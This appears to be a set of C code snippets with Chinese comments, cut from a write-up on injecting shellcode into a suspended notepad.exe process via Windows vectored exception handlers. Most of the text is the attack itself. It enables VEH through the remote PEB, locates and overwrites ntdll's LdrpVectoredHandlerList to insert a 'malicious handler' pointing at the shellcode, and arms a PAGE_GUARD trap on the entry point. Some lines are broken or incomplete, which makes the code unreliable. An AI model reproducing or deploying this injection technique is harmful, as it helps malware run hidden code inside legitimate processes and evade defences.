typedef struct _VECTXCPT_CALLOUT_ENTRY {  LIST_ENTRY Links;          // 链表中的节点  PVOID reserved[2];         // 保留字段  PVECTORED_EXCEPTION_HANDLER VectoredHandler; // 异常处理程序回调函数的地址} VECTXCPT_CALLOUT_ENTRY, * PVECTXCPT_CALLOUT_ENTRY;

typedef struct _LIST_ENTRY {    struct _LIST_ENTRY *Flink; // 指向下一个节点    struct _LIST_ENTRY *Blink; // 指向上一个节点} LIST_ENTRY, *PLIST_ENTRY;

PVOID AddVectoredExceptionHandler(  ULONG                       First,  PVECTORED_EXCEPTION_HANDLER VectoredHandler);

PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;LONG PvectoredExceptionHandler(  [in] _EXCEPTION_POINTERS *ExceptionInfo){...}

// 在双向链表的头部插入一个新项FORCEINLINE VOID InsertHeadList(_Inout_ PLIST_ENTRY  ListHead, _Inout_ PLIST_ENTRY   Entry){  PLIST_ENTRY OldFlink;// 将指向旧的头部元素的指针OldFlink_保存起来  OldFlink = ListHead->Flink;  Entry->Flink = OldFlink;// 将新项Entry的Flink指向OldFlink，表示将新项插入到原头部元素之前  Entry->Blink = ListHead;// 将新项Entry的Blink指向ListHead，表示将新项的后驱指针连接到链表头部  OldFlink->Blink = Entry;// 将OldFlink的Blink指向新项Entry，表示原头部元素的后向指针连接到新项  ListHead->Flink = Entry;// 将ListHead_的Flink指向新项Entry，完成将新项插入到链表头部的操作}

unsigned char shellcode[] = {shellcode数据};STARTUPINFO si;PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(si));si.cb = sizeof(si);ZeroMemory(&pi, sizeof(pi));if (!CreateProcessA(NULL,"C:\Windows\System32\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED,NULL, NULL, &si, &pi) );HANDLE hProcess = pi.hProcess;HANDLE hThread = pi.hThread;SIZE_T shellcodeSize = sizeof(shellcode);// 在远程进中为shellcode分配内存LPVOID shellcodeAddress = NULL;shellcodeAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 将shellcode写入目标进程内存并设置保护属性WriteProcessMemory(hProcess, shellcodeAddress, shellcode, shellcodeSize, NULL);VirtualProtectEx(hProcess, shellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);

PVOID LdrpVectoredHandlerList = findLdrpVectorHandlerList();PVOID findLdrpVectorHandlerList(){  BOOL found = FALSE;  // 注册一个无实质功能的异常处理程序，用于找到 VEH 列表  PVOID dummyHandler = AddVectoredExceptionHandler(0, &dummyExceptionHandler);  if (dummyHandler == NULL)    return NULL;  PLIST_ENTRY next = ((PLIST_ENTRY)dummyHandler)->Flink;  PVOID sectionVa;  DWORD sectionSz;  // 在 ntdll 的.data 节中找到 LdrpVectorHandlerList   // 遍历 VEH 链表中的节点，查看节点的地址是否在 ntdll.dll 的 .data 节的范围内  if (GetNtdllSectionVa(".data", &sectionVa, &sectionSz))  {    while ((PVOID)next != dummyHandler)    {      // 检查当前节点 next 的地址是否介于 sectionVa 和 sectionVa + sectionSz 之间      if ((PVOID)next >= sectionVa && (PVOID)next <= (PVOID)((ULONG_PTR)sectionVa + sectionSz)) {        break;      }      if ((PVOID)next >= sectionVa &&  (PVOID)next <= (PVOID*)sectionVa + sectionSz)      {        found = TRUE;        break;      }      next = next->Flink;    }  }  // 移除这个异常处理程序  RemoveVectoredExceptionHandler(dummyHandler);  return found ? next : NULL;}

LPVOID EnableRemoteVEH(HANDLE hProcess) {  // 获取远程进程中 PEB 结构的地址  pNtQueryInformationProcess _NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");  PROCESS_BASIC_INFORMATION processInfo = { 0 };  DWORD returnLength = 0;  _NtQueryInformationProcess(hProcess, 0, &processInfo, sizeof(processInfo), &returnLength); // 获取远程进程的基本信息  // 从远程进程中读取 PEB，作为本地的一个 copy 副本  DWORD64 CrossProcessFlags = 0;  DWORD dwBytesRead;  PEB2 peb_copy;  BOOL k32Success;  k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);  if (!k32Success) {    return NULL;  }  // 在本地的 PEB 副本中设置 CrossProcessFlags 字段，启用 VEH   peb_copy.u2.CrossProcessFlags = 0x4;  // 将修改后的 PEB 写回到远程进程中  k32Success = WriteProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);  if (!k32Success) {    return NULL;  }    // 读取远程进的 PEB 确保修改生效，若生效则返回目标程序的映像基址  dwBytesRead = 0;  k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);  if (!k32Success) {    return NULL;  }  if (peb_copy.u2.CrossProcessFlags & 0x4) {    printf("Enabled VEH in the remote process!n");    return peb_copy.ImageBaseAddress;  }  return NULL;}

LPVOID imageBaseAddress = EnableRemoteVEH(hProcess);

// 编码指向远程 shellcode 的指针。PVOID encodedShellcodePointer = malloc(sizeof(PVOID));pRtlEncodeRemotePointer _RtlEncodeRemotePointer = (pRtlEncodeRemotePointer)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlEncodeRemotePointer");ntSuccess = _RtlEncodeRemotePointer(hProcess, shellcodeAddress, &encodedShellcodePointer);

PVECTXCPT_CALLOUT_ENTRY maliciousHandler = HeapAlloc(GetProcessHeap(), 0, sizeof(VECTXCPT_CALLOUT_ENTRY));maliciousHandler->VectoredHandler = encodedShellcodePointer;

PLIST_ENTRY firstEntry = malloc(sizeof(LIST_ENTRY));ReadProcessMemory(hProcess, LdrpVectoredHandlerList, firstEntry, sizeof(LIST_ENTRY), NULL);// 设置我们的恶意处理程序，使其 Flink/Blink 指向远程 VEH 的链表头地址((PLIST_ENTRY)maliciousHandler)->Flink = firstEntry->Flink;((PLIST_ENTRY)maliciousHandler)->Blink = firstEntry->Blink;

// 在远程进程中分配内存并写入一个ref值PVOID refAddress = NULL;VirtualAllocEx(hProcess, NULL, sizeof(ULONG), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);ULONG ref = 1;WriteProcessMemory(hProcess, refAddress, &ref, sizeof(ULONG), NULL);// 更新本地 VEH 的 refAddressmaliciousHandler->reserved = refAddress;

// 将本地的 VEH 写入远程进程PVOID remoteHandlerAddress = NULL;SIZE_T calloutSize = sizeof(VECTXCPT_CALLOUT_ENTRY);remoteHandlerAddress = VirtualAllocEx(hProcess, NULL, calloutSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);WriteProcessMemory(hProcess, remoteHandlerAddress, maliciousHandler, calloutSize, NULL);

// 修改远程进程中的 LIST_HEAD 指针以指向新的处理程序firstEntry->Blink = remoteHandlerAddress;firstEntry->Flink = remoteHandlerAddress;

// 获取 ntdll 中. mrdata 节的地址和大小DWORD sectionSize;PVOID sectionVa;GetNtdllSectionVa(".mrdata", &sectionVa, &sectionSize);// 解除 .mrdata 段的内存保护，写入我们的 VEH 项目，然后重新保护 .mrdata 段VirtualProtectEx(hProcess, sectionVa, sectionSize, PAGE_READWRITE, &oldProtect);// 修改 LdrpVectoredHandlerList，写入恶意指向恶意 VEH 的链表头WriteProcessMemory(hProcess, LdrpVectoredHandlerList, firstEntry, sizeof(LIST_ENTRY), NULL);// 修改完毕后，将内存保护恢复为原来的状态VirtualProtectEx(hProcess, sectionVa, sectionSize, oldProtect, &oldProtect);

// 读取远程进程的 DOS 头和 NT 头，以确定远程进程的入口点地址。IMAGE_DOS_HEADER* remoteDosHeader = HeapAlloc(GetProcessHeap(), 0, sizeof(IMAGE_DOS_HEADER));ReadProcessMemory(hProcess, imageBaseAddress, remoteDosHeader, sizeof(IMAGE_DOS_HEADER), NULL);IMAGE_NT_HEADERS* remoteNtHeaders = HeapAlloc(GetProcessHeap(), 0, sizeof(remoteNtHeaders));ReadProcessMemory(hProcess, ((ULONG_PTR)imageBaseAddress + remoteDosHeader->e_lfanew), remoteNtHeaders, sizeof(IMAGE_NT_HEADERS), NULL);// 计算远程进程入口点地址LPVOID entrypointAddress = remoteNtHeaders->OptionalHeader.AddressOfEntryPoint;LPVOID processEntryPoint = (ULONG_PTR)entrypointAddress + (ULONG_PTR)imageBaseAddress;

// 查询远程进程入口点的内存保护信息PMEMORY_BASIC_INFORMATION memoryInfo = malloc(sizeof(MEMORY_BASIC_INFORMATION));VirtualQueryEx(hProcess, processEntryPoint, memoryInfo, sizeof(MEMORY_BASIC_INFORMATION));// 在入口点内存区域设置 PAGE_GUARD 陷阱。VirtualProtectEx(hProcess, processEntryPoint, 1, memoryInfo->Protect | PAGE_GUARD, &oldProtect);

typedef struct _MEMORY_BASIC_INFORMATION {  PVOID  BaseAddress;  PVOID  AllocationBase;  DWORD  AllocationProtect;  WORD   PartitionId;  SIZE_T RegionSize;  DWORD  State;  DWORD  Protect;  DWORD  Type;} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

ResumeThread(hThread);

选择目标进程中的一个线程挂起线程获取线程上下文。在线程的 RIP 处设置一个 PAGE_GUARD 陷阱恢复线程执行